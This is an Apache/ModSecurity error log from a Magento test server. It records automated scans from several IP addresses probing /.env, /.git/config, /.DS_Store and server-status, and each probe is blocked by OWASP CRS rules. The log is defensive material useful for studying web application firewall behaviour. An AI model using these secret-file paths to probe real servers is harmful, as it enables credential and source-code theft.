[Sun Oct 26 14:48:27.452554 2025] [:error] [pid 3782245] [client 207.154.212.47:60428] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnAAAAAA"]
[Sun Oct 26 14:48:27.539078 2025] [:error] [pid 3781348] [client 207.154.212.47:60436] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4mqx6R8pIANgTk5cknCQAAABE"]
[Sun Oct 26 14:48:27.539307 2025] [:error] [pid 3781348] [client 207.154.212.47:60436] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4mqx6R8pIANgTk5cknCQAAABE"]
[Sun Oct 26 14:48:27.539472 2025] [:error] [pid 3781348] [client 207.154.212.47:60436] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4mqx6R8pIANgTk5cknCQAAABE"]
[Sun Oct 26 14:48:27.590871 2025] [:error] [pid 3782245] [client 207.154.212.47:60450] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnQAAAAA"]
[Sun Oct 26 14:48:27.591074 2025] [:error] [pid 3782245] [client 207.154.212.47:60450] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnQAAAAA"]
[Sun Oct 26 14:48:27.591214 2025] [:error] [pid 3782245] [client 207.154.212.47:60450] [client 207.154.212.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnQAAAAA"]
[Sun Oct 26 16:32:43.243849 2025] [authz_core:error] [pid 3783747] [client 188.166.108.93:58756] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Oct 26 16:32:44.267675 2025] [:error] [pid 3774077] [client 188.166.108.93:58788] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4_HAFRpoKdmUXlJht4GgAAAAg"]
[Sun Oct 26 16:32:44.267896 2025] [:error] [pid 3774077] [client 188.166.108.93:58788] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4_HAFRpoKdmUXlJht4GgAAAAg"]
[Sun Oct 26 16:32:44.268047 2025] [:error] [pid 3774077] [client 188.166.108.93:58788] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4_HAFRpoKdmUXlJht4GgAAAAg"]
[Sun Oct 26 16:32:44.375178 2025] [:error] [pid 3781354] [client 188.166.108.93:58798] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4_HHwd58IofSK5itHqegAAABc"]
[Sun Oct 26 16:32:44.375386 2025] [:error] [pid 3781354] [client 188.166.108.93:58798] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4_HHwd58IofSK5itHqegAAABc"]
[Sun Oct 26 16:32:44.375538 2025] [:error] [pid 3781354] [client 188.166.108.93:58798] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP4_HHwd58IofSK5itHqegAAABc"]
[Sun Oct 26 16:32:44.500131 2025] [:error] [pid 3781351] [client 188.166.108.93:58806] [client 188.166.108.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4_HOF4CXVyZBrTT1n9xgAAABQ"]
[Sun Oct 26 16:32:44.500358 2025] [:error] [pid 3781351] [client 188.166.108.93:58806] [client 188.166.108.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4_HOF4CXVyZBrTT1n9xgAAABQ"]
[Sun Oct 26 16:32:44.500521 2025] [:error] [pid 3781351] [client 188.166.108.93:58806] [client 188.166.108.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP4_HOF4CXVyZBrTT1n9xgAAABQ"]
[Tue Oct 28 16:05:17.507204 2025] [authz_core:error] [pid 3819779] [client 64.226.65.160:46390] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Oct 28 16:05:17.769064 2025] [:error] [pid 3821073] [client 64.226.65.160:46410] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQDbrepApwFRKOaxkAQlHQAAAAk"]
[Tue Oct 28 16:05:17.769267 2025] [:error] [pid 3821073] [client 64.226.65.160:46410] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQDbrepApwFRKOaxkAQlHQAAAAk"]
[Tue Oct 28 16:05:17.769416 2025] [:error] [pid 3821073] [client 64.226.65.160:46410] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQDbrepApwFRKOaxkAQlHQAAAAk"]
[Tue Oct 28 16:05:17.824752 2025] [:error] [pid 3819782] [client 64.226.65.160:46420] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQDbrXK1uhqb2Kc0XPArZQAAAAQ"]
[Tue Oct 28 16:05:17.824966 2025] [:error] [pid 3819782] [client 64.226.65.160:46420] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQDbrXK1uhqb2Kc0XPArZQAAAAQ"]
[Tue Oct 28 16:05:17.825106 2025] [:error] [pid 3819782] [client 64.226.65.160:46420] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQDbrXK1uhqb2Kc0XPArZQAAAAQ"]
[Tue Oct 28 16:05:17.876393 2025] [:error] [pid 3821073] [client 64.226.65.160:46434] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQDbrepApwFRKOaxkAQlHgAAAAk"]
[Tue Oct 28 16:05:17.876569 2025] [:error] [pid 3821073] [client 64.226.65.160:46434] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQDbrepApwFRKOaxkAQlHgAAAAk"]
[Tue Oct 28 16:05:17.876724 2025] [:error] [pid 3821073] [client 64.226.65.160:46434] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQDbrepApwFRKOaxkAQlHgAAAAk"]
[Tue Oct 28 18:45:57.977061 2025] [authz_core:error] [pid 3819780] [client 165.22.235.3:41156] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Oct 28 18:45:59.116740 2025] [:error] [pid 3834725] [client 165.22.235.3:41190] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQEBV71BYuLwqKwF-9xvBgAAAAs"]
[Tue Oct 28 18:45:59.116965 2025] [:error] [pid 3834725] [client 165.22.235.3:41190] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQEBV71BYuLwqKwF-9xvBgAAAAs"]
[Tue Oct 28 18:45:59.117132 2025] [:error] [pid 3834725] [client 165.22.235.3:41190] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQEBV71BYuLwqKwF-9xvBgAAAAs"]
[Tue Oct 28 18:45:59.464095 2025] [:error] [pid 3821072] [client 165.22.235.3:41196] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQEBV-Klt9y_xO6yq6kxMgAAAAg"]
[Tue Oct 28 18:45:59.464306 2025] [:error] [pid 3821072] [client 165.22.235.3:41196] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQEBV-Klt9y_xO6yq6kxMgAAAAg"]
[Tue Oct 28 18:45:59.464466 2025] [:error] [pid 3821072] [client 165.22.235.3:41196] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQEBV-Klt9y_xO6yq6kxMgAAAAg"]
[Tue Oct 28 18:45:59.810051 2025] [:error] [pid 3834724] [client 165.22.235.3:41212] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQEBV2PzXa1d0xfwy9N39wAAAAA"]
[Tue Oct 28 18:45:59.810277 2025] [:error] [pid 3834724] [client 165.22.235.3:41212] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQEBV2PzXa1d0xfwy9N39wAAAAA"]
[Tue Oct 28 18:45:59.810467 2025] [:error] [pid 3834724] [client 165.22.235.3:41212] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQEBV2PzXa1d0xfwy9N39wAAAAA"]
[Sat Nov 01 14:15:48.189666 2025] [:error] [pid 3921582] [client 45.148.10.42:37566] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYIBB9l7NL2QvnI7bOkBgAAAAs"]
[Sat Nov 01 14:15:48.190536 2025] [:error] [pid 3921582] [client 45.148.10.42:37566] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYIBB9l7NL2QvnI7bOkBgAAAAs"]
[Sat Nov 01 14:15:48.190717 2025] [:error] [pid 3921582] [client 45.148.10.42:37566] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYIBB9l7NL2QvnI7bOkBgAAAAs"]
[Sat Nov 01 14:15:48.285918 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHdwAAAA4"]
[Sat Nov 01 14:15:48.286172 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHdwAAAA4"]
[Sat Nov 01 14:15:48.286379 2025] [:error] [pid 3922694] [client 45.148.10.42:37576] [client 45.148.10.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYIBHhEOnquNE1Fm9iHdwAAAA4"]
